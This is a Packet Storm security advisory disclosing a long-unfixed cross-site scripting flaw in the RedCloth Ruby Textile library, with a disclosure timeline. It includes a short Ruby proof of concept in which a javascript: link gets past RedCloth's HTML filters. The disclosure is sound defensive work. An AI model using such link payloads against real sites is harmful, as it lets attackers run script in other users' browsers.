RedCloth Cross Site Scripting

2014-12-11T00:00:00
ID PACKETSTORM:129496
Type packetstorm
Reporter Kousuke Ebihara
Modified 2014-12-11T00:00:00

Description

                                        
                                            `I disclosed the following advisory about a XSS vulnerability of  
RedCloth (Textile library for Ruby).  
http://co3k.org/blog/redcloth-unfixed-xss-en  
  
You shouldn't use RedCloth to parse user inputted contents and output  
the parsed string (except that you allow your  
user to write arbitrary JavaScript code on your site) because it  
contains unfixed XSS vulnerability for 9 years,  
and it be also disclosed for 2 years.  
  
Unfortunately, we may not expect fix the vulnerability by the current  
developer because he announced that "unable to  
keep fixing bugs or work on the next major release".  
  
If you want to continue to use RedCloth for such contents, you should  
patch for the problem yourself, consider  
contributing to RedCloth, or otherwise.  
  
PoC  
===  
  
```  
require 'redcloth'  
  
print RedCloth.new('["clickme":javascript:alert(%27XSS%27)]',  
[:filter_html, :filter_styles, :filter_classes, :filter_ids]).to_html  
  
# Result:  
# <p><a href="javascript:alert(%27XSS%27)">clickme</a></p>  
```  
  
Timeline  
========  
  
* Feb. 24, 2012 : I reported the problem to a developer (by sending e-mail)  
* Feb. 29, 2012 : A developer discloses the issue in this ticket:  
http://jgarber.lighthouseapp.com/projects/13054-redcloth/tickets/243-xss  
* ...  
* Sep. 24, 2014 : Announced "RedCloth needs new maintainers" to take  
over RedCloth by a developer:  
https://github.com/jgarber/redcloth/commit/b24f03db023d1653d60dd33b28e09317cd77c6a0  
  
  
`